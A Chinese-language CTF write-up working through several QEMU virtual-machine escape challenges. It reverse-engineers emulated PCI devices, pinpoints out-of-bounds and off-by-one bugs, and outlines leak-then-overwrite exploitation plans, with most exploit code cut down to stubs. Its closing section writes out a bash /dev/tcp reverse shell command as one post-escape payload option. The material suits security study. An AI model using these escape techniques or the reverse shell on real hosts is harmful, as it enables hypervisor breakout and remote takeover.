QemuPwn前进四
做一下QemuPwn的题,提升一下自己的qemuPwn漏洞利用能力
D3CTF
yikesoftware/d3ctf-2021-pwn-d3dev: [D^3CTF 2021] pwn-d3dev 题目附件以及官方writeup (github.com)
程序分析
d3dev的具现化函数pci_d3dev_realize中注册了一个mmio,一个pmio
1 | void __fastcall pci_d3dev_realize(PCIDevice_0 *pdev, Error_0 **errp) |
d3dev的实例化函数d3dev_instance_init,参数传进来的应该是Object,但是会类型转换成d3devState,
这里初始化了rand_r和4个key
1 | void __fastcall d3dev_instance_init(d3devState *obj) |
在localtypes中可以看到d3devState的定义
不过一般其他题,这里可能只能在local_type中找到类型,但是看不到具体结构,有的甚至类型也找不到,只能依靠逆向,这里很仁慈了(后来发现这下面几题都有符号。。)
pmio_read
1 | uint64_t __fastcall d3dev_pmio_read(d3devState *d3devState, hwaddr addr, unsigned int size) |
这里else处其实是个switch_case_
分别是读取d3devState中几个成员的值
+AC0 memory_mode
+AC4 seek
+12E0 ~ +12EC key0~key3
pmio_write
1 | void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size) |
中间addr == 28的功能,IDA分析的很差,实际看汇编很好懂,就是设置r_seed=val,然后调用rand_r重新产生4个key值
mmio_read
1 | uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size) |
mmio_read是以seek作为基址,addr>>3作为偏移,整体作为index,从blocks中取值,这里会一次计算64bit的数据,但是会根据read_part分两次读取
mmio_write
1 | void __fastcall d3dev_mmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size) |
这个跟read类似,只不过这里逻辑看着稍微奇怪一点,一开始write_part为0,就先写入低32位,然后置write_part为1,第二写入的时候会先取出刚才写入的值,然后和这次写入的值一起作为tea的两个参数值进行加密,加密完的值最终才会写入到blocks里面,所以要写两次
因为seek是我们指定的,所以这里就存在一个越界读写漏洞,seed也可以由我们指定,因此tea加密也受我们控制
利用流程
- 用pmio_write设置seek
- 通过pmio_read读取4个key值,这样我们就可以自己加解密了
- 通过mmio_read读取r_rand的值,当然读出来是tea处理过的,我们逆回去就可以得到r_rand地址,进而得到libc地址
- 通过偏移得到system,利用mmio_write覆盖r_rand,
- 最后用过pmio_write触发r_rand执行system
exp
因为是第一题,所以exp编写这里写的详细一点,exp模板可以直接用Strng的
vm-escape/exp.c at master · ray-cp/vm-escape (github.com)
首先因为要进行pmio和mmio操作,先通过lspci查看设备
这里没有详细信息,那只能从d3dev类初始化函数里面寻找信息
这里可以看到0x11E8 2333,接下来可以cat其resource来确认一下
1 | / # cat /sys/devices/pci0000\:00/0000\:00\:03.0/resource |
这一步就是将其映射出来
1 | unsigned char* mmio_mem; |
接着程序就可以通过操作mmio_mem来进行mmio操作
pmio要先申请权限
1 | // Open and map I/O memory for the strng device |
之后就可以根据base进行pmio请求了
1 | uint32_t pmio_base=0x000000000000c040; |
b w l分别是size 为8 16 32
exp调试
因为rootfs是img后缀,不过其算伪img(因为死活挂载不上去)
1 | ctf@ubuntu:~/qemu/d3dev-revenge_attachment/docker_attachment_revenge/bin$ file rootfs.img |
可以修改后缀为cpio,然后解压之后把poc放进去,再用kernel pwn的cpio脚本重新打包回去
exp的编译选项
1 | gcc -O0 -static -o exp exp.c |
exp 中tea加解密部分划分了大量的时间,因为在加密完成后,把两个32位数拼成64位时,我一开始写的是res << 0x20 + v0,因为+优先级比<<高,所以算错了,这里调了半天。。。。
1 | uint64_t res = v1; /* end cycle */ |
最终gdb调试是可以正常执行到sh的,然后实际在系统中测试是这个样,(参考最后system的问题)
1 | $ sh: turning off NDELAY mode |
完整exp
1 |
|
2020华为云 qemuzzz
程序分析
启动脚本如下,因为wp里提供的附件没有rootfs.cpio和bzImage,所以我们得从其他题目里搬一个过来,结果发现都不不行,还是得找原始附件
CTF/华为云CTF.md at fdb322a19a2eb97ad15f742462d0c318fcac4168 · imemaker/CTF (github.com)
1 |
|
所以设备名为zzz
可以看到其相关函数
zzz_class_init
1 | __int64 __fastcall zzz_class_init(__int64 a1) |
这里可以获得vendor信息为0x23331234
zzz_instance_init
1 | __int64 __fastcall zzz_instance_init(__int64 a1) |
就是在+0x19F8处设置了一个函数
pci_zzz_realize
1 | __int64 __fastcall pci_zzz_realize(__int64 a1) |
注册了mmio函数
zzz_mmio_read
1 | __int64 __fastcall zzz_mmio_read(__int64 a1, unsigned __int64 a2) |
这个read可以读zzz对象 +0x9F0偏移之后的值
zzz_mmio_write
write基本分为三部分,第一部分就是朴素赋值
1 | void __fastcall zzz_mmio_write(__int64 zzzState, unsigned __int64 addr, unsigned __int64 val) |
第二部分,是对0x9F0开始的buf 进行xor加密,同时这里可以推测出+9EA是start,+9E8是len
1 | else if ( addr == 80 ) |
第三部分
1 | else if ( addr == 96 ) |
这个cpu_physical_memory_rw是qemu的API,是对从虚拟机的物理地址中读,或者向虚拟机的物理地址中写,第三部分是存在一个offbyone的,我们指定start为0x1000,len为0x1,可以多写一个字节,从databuf +0x1000刚好是 + 0x19F0,也就是存储zzzState指针的位置
漏洞利用
第一次我们可以利用offbyone将zzzState ptr最后一个字节改大 ,那么再利用mmio_write的0x60功能号时,几个关键的偏移 phy_addr/data_start/len都会落到data_buf中,我们就可以伪造相关数据,特别是phy_addr
首先将cpu_physical_memory_rw地址读出来就可以得到程序基址,进而得到system_plt
然后读出来zzz_state ptr就可以得到堆地址,进而可以在buf中布置command,同时获得其地址
最后覆盖掉cpu_physical_memory_rw,把command地址填上,就可以getshell
exp
下载了原始附件也还是运行不起来,在网上搜是编译的内核的问题,漏洞是看出来了,这里也没法调试
1 | ernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(1,0) |
overflow说是内核编译的问题
贴下别人的exp吧
1 |
|
2021 HWS FastCP
QEMU逃逸初探(一) - 安全客,安全资讯平台 (anquanke.com)
程序分析
1 |
|
题目文件下载
1 | https://files.buuoj.cn/files/de411f1d372ead78f7263c6ce47b4dc9/FastCP-ctf-.zip |
启动脚本里能看到设备名为FastCP
直接输入root即可登录
FastCPState结构体
1 | 00000000 FastCPState struc ; (sizeof=0x1A30, align=0x10, copyof_4530) |
FastCP_class_init
得到Vendor ID为0xBEEFDEAD
pci_FastCP_realize
1 | timer_init_full(&v2->cp_timer, 0LL, QEMU_CLOCK_VIRTUAL, (int)&stru_F4240, 0, fastcp_cp_timer, v2); |
这里新建了一个timer,注册了一个mmio
FastCP_instance_init
1 | *(_QWORD *)v1->CP_buffer = 0LL; |
初始化FastState对象的一些值
fastcp_mmio_read
1 | uint64_t __fastcall fastcp_mmio_read(FastCPState *opaque, hwaddr addr, unsigned int size) |
mmio_read就是读一些值
1 | void __fastcall fastcp_mmio_write(FastCPState *opaque, hwaddr addr, uint64_t val, unsigned int size) |
handling标志timer是否已经触发,在运行,还没运行时才可以修改这些值
主要是设置src \ cnt \ cmd三个值
那么下面就是重点timer函数了
fastcp_cp_timer
这个函数的功能就是数据读写
先贴一个函数原型
1 | void cpu_physical_memory_rw(hwaddr addr, uint8_t *buf,int len, int is_write) |
这里用到的数据传输结构体
1 | 00000000 CP_state struc ; (sizeof=0x18, align=0x8, copyof_4529) |
cp_list_src是data msg的数组,CP_list_cnt是src中data msg的个数,cmd是指令
这里说的data msg是数据传输的消息结构,结构如下,包含数据传输的源地址,字节数,目的地址
1 | 00000000 FastCP_CP_INFO struc ; (sizeof=0x18, align=0x8, copyof_4531) |
总共分为三个功能号
case 2 从CP_src中读数据到CP_buffer,这里对cnt进行了校验,没有漏洞
1 | case 2uLL: // read |
case 4 从CP_buffer中写数据到CP_dst上,这里就忘了加cnt的校验了,因此存在越界读
1 | case 4uLL: // write |
case 1,当CP_list_cnt会进入if,if是个搬运工,从CP_src中读到CP_buffer里,再从CP_buffer写到CP_dst里,这里也是忘了校验cnt了,导致从CP_src读到CP_buffer时存在写溢出
1 | case 1uLL: // cmd == 1 |
总结现在,对CP_buffer任意读写都有了,同时CP_buffer下面刚好是QemuTImer,因此可以通过读QemuTimer.cb来泄露程序基址,然后再覆写以劫持控制流
漏洞利用
这里有个小细节,我们在越界读时,因为一个物理页是0x1000,我们越界读0x1030个字节,会写到两个连续的物理页上,但是第二个物理页的虚拟地址并不是我们分配的,所以需要确定这我们分配的0x2000的虚拟地址对应的两个物理页是否连续(这个特性很难满足)
因此我们可以采用另外一种方法,即通过cmd2,把第二个物理页的内容再read回buf,然后再通过cmd4再写一次用户空间,也就是一次越界读,读写三次,因此我们可以把其封装到函数里面
exp
QemuTimer结构
1 | 00000000 QEMUTimer_0 struc ; (sizeof=0x30, align=0x8, copyof_1181) |
因为不能执行shell,所以这里用成功用gnome-calculator弹出计算器
完整exp如下
1 |
|
这里需要注意
不加mlock不行,不加mlock,会导致物理页换出去,然后gfn转换时报错
mlock的作用就是锁定物理页,防止其被换出
XNUCA2019 - vxee
vm-escape/qemu-escape/xnuca-2019-vxee at master · ray-cp/vm-escape (github.com)
程序分析
登录用户名密码如下
1 | user: root |
启动脚本,这里就可以看到设备名为vexx
1 | #!/bin/sh |
这次给的rootfs已经搞成ext2格式了,所以可以直接挂载到/mnt上修改
1 | mount -o loop rootfs.ext2 /mnt |
vexx_class_init
1 | void __fastcall vexx_class_init(ObjectClass_0 *a1, void *data) |
这里有用的就是得到vendor号是0x11E91234
1 | # lspci |
进一步得到PCI号 00:04.0
还好程序保留了vexx结构体对象的符号
pci_vexx_realize
1 | void __fastcall pci_vexx_realize(VexxState *pdev, Error_0 **errp) |
这里注册了很多东西,一个定时器vexx_dma_timer,一个新线程vexx_fact_thread
注册了两个mmio,vexx_cmb和vexx_mmio,还有一个PMIO
下面得逐一分析下这几个函数
vexx_mmio_read
1 | uint64_t __fastcall vexx_mmio_read(VexxState *opaque, hwaddr addr, unsigned int size) |
vexx_mmio_read可以读取dma的相关值(vexxdma.dma.dst / vexxdma.dma.cmd / vexxdma.dma.cnt / vexxdma.dma.src / opaque->addr4 / opaque->status)
vexx_fact_thread
1 | void *__fastcall vexx_fact_thread(VexxState *vexxObj) |
fact_thread好像就是等待线程信号,然后计算了一下fact(幂乘)
vexx_mmio_write
1 | void __fastcall vexx_mmio_write(VexxState *opaque, hwaddr addr, uint64_t val, unsigned int size) |
mmio_write就是设置相关dma信息,同时可以启动timer,以及给thread发信号
后来又看了其他函数,才发现都没有关系,漏洞点在cmb_write和cmb_read处
vexx_cmb_write
这里用到新的对象
1 | 00000000 VexxRequest struc ; (sizeof=0x108, align=0x4, copyof_4574) |
buf是0x100大小
1 | void __fastcall vexx_cmb_write(VexxState *opaque, hwaddr addr, uint64_t val, unsigned int size) |
这个offset虽然找不到哪里设置的,但是以0为假设,这里v5 = 0x50也超了0x100的缓冲区了
vexx_cmb_read
1 | uint64_t __fastcall vexx_cmb_read(VexxState *opaque, hwaddr addr, unsigned int size) |
越界读写都能访问到dma结构体,里面能劫持控制流的就dma_buf
1 | 00000000 VexxDma struc ; (sizeof=0x1060, align=0x8, copyof_4573) |
漏洞利用
先看看dma_buf能泄露出什么有用的信息(先写个poc让程序断到cmb_write上)
PS:gdb启动的越来越慢了
这里由于vexx有两个mmio,所以在映射的时候需要分别使用resource0和resource1
1 | void init_mmio(){ |
VexxDma里面的timer,可以泄露出vexx_dma_timer的地址,进而得到程序基址,以及system_plt / sh_str,如果不打/bin/sh(因为这题先前做的,后来才知道是打不了sh的),这里也可以通过泄露VexxState的地址,来得到reqbuf,在里面写上cat flag,再通过system调用
1 | gdb-peda$ x /20gx 0x5555574f51e0 + 0xC90 |
QEMUTimer_0结构体
1 | 00000000 QEMUTimer_0 struc ; (sizeof=0x30, align=0x8, copyof_1100) |
不过实际调试发现,memorymode默认是4(instance_init中设置的),所以需要想办法改成1
1 | void __fastcall vexx_instance_init(VexxState *obj) |
分析程序可以得到设置的地方在ioport_write(这种另类的ioport_write回头要再看一下)
1 | void __fastcall vexx_ioport_write(VexxState *opaque, uint32_t addr, uint32_t val) |
进行io_port操作之前需要进行这一步操作(这个也是看exp得到的,需要后续研究)
1 | res = ioperm(0x230, 0x30, 1); |
而且这里很奇怪,只能用outb,我一开始用outl就是错误
1 | void set_offset(uint64_t val){ |
写入完成后,直接通过dma触发timer即可
最终可以触发到sh,但是好像一样出现这个提示(不能打sh)
1 | # ./exp |
完整exp如下
1 |
|
seccon-2018-q-escape
vm-escape/qemu-escape/seccon-2018-q-escape at master · ray-cp/vm-escape (github.com)
qemu-pwn-seccon-2018-q-escape « 平凡路上 (ray-cp.github.io)
这题就算了,感觉需要对vga设备理解的更深入点,才能更好的分析
关于Qemu逃逸system的问题
- cat /flag
- 反弹 shell,/bin/bash -c ‘bash -i >& /dev/tcp/ip/port 0>&1’,在 QEMU 逃逸中,执行 system(“/bin/bash”) 是无法拿到 shell 的,或者说是无法与 shell 内容交互的,必须使用反弹 shell 的形式才能够拿到 shell。
- 弹出计算器,gnome-calculator,这个大概比较适合用于做演示视频吧。
总结
结合前面做的qemupwn,也做了很多qemu逃逸题了,其实可以发现,常规逃逸题绕来绕去,也就是databuf溢出,配个可以泄露地址的QemuTimer之类的,复杂点就套个timer或者bhThread,来模拟DMA。
也有复杂点的题,像q-escape这种,结合具体设备比较紧密的,另外整个qemu如果抛开这种套路题来说,对设备模拟相关知识要求挺高的,像前面ioperm,非常规IOPort读写这种知识我是完全不知道的,还有很多需要提高啊
Refs
XCTF高校网络安全专题挑战赛_华为云专场_qemuzzz解题过程分析 | xiaoxiaorenwu
(´∇`) 被你发现啦~ qemu逃逸学习 | A1ex’s Blog
(´∇`) 被你发现啦~ 从qemu逃逸到逃跑 | A1ex’s Blog